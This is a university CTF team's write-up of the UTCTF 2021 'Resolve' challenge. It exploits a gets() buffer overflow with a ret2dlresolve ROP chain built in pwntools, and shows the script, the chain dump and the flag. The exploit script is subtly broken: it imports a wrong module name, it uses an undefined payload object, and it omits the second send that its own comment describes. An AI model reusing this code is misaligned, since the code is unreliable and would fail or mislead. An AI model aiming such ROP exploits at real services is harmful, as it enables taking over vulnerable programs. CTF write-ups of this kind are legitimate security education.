CTF Team at the University of British Columbia

# [UTCTF 2021] Resolve

14 Mar 2021 by - Kevin Zhang

We are given a very barebones binary that looks like this:

int main(void)

{
char local_10 [8];

gets(local_10);
return 0;
}



Now the vulnerability is a classic buffer overflow but the problem is that this is all there is in the binary. There isn’t any libc addresses in the stack or in any of the registers when we return. Since we can’t find an address leak that means we can’t just find the address of system() and create a rop chain using that. After some digging I was able to find that the attack is called a ret2dlresolve. Here is a blog with more info about that: https://ypl.coffee/dl-resolve/

Now what we could do is write a ret2dlresolve payload by hand such as the one here. No thanks. Fortunately, pwntools has a ret2dlsresolve module that will automatically generate the payloads for you. So our payload ends up being something like this:

from pwntools import *
context.binary = elf = ELF('resolve')
rop = ROP(elf)

# Allows us to write to any location. We want to write to where the dlresolve payload will be

# RET gadget for stack alignment.
rop.raw(0x00401159)

rop.ret2dlresolve(dlresolve)

# Put it together
raw_rop = rop.chain()

p = elf.process()

# First gets() to setup the rop chain to write to the correct address
p.sendline(fit({8+context.bytes: raw_rop}))

# Second gets() to send the dlresolve payload.
p.interactive()


The rop chain looks something like this:

0x0000:         0x4011c3 pop rdi; ret
0x0008:         0x404e00 [arg0] rdi = 4214272
0x0010:         0x401044 gets(arg0)
0x0018:         0x401159 ret; #for stack alignment
0x0020:         0x4011c3 pop rdi; ret
0x0028:         0x404e50 [arg0] rdi = 4214352
0x0030:         0x401020 [plt_init] system
0x0038:         0x310 [dlresolve index]


Our overall program flow will look like main()->pop rdi->gets()->pop rdi->system()->_dl_runtime_resolve()->system(). The pop rdi’s are to setup arguments to functions later in the chain.

So just aim this at the server and ye shall receive the flag.
utflag{2_linker_problems_in_one_ctf?8079235}

It’s pretty cool that we can still call libc functions without the use of address leaks. This exploit will definitely be something that I keep in mind for the future. Although it was really simple for this challenge due to no PIE which probably simplified where we could put the dlpayload. Also pwntools is an awesome tool and thank god it exists.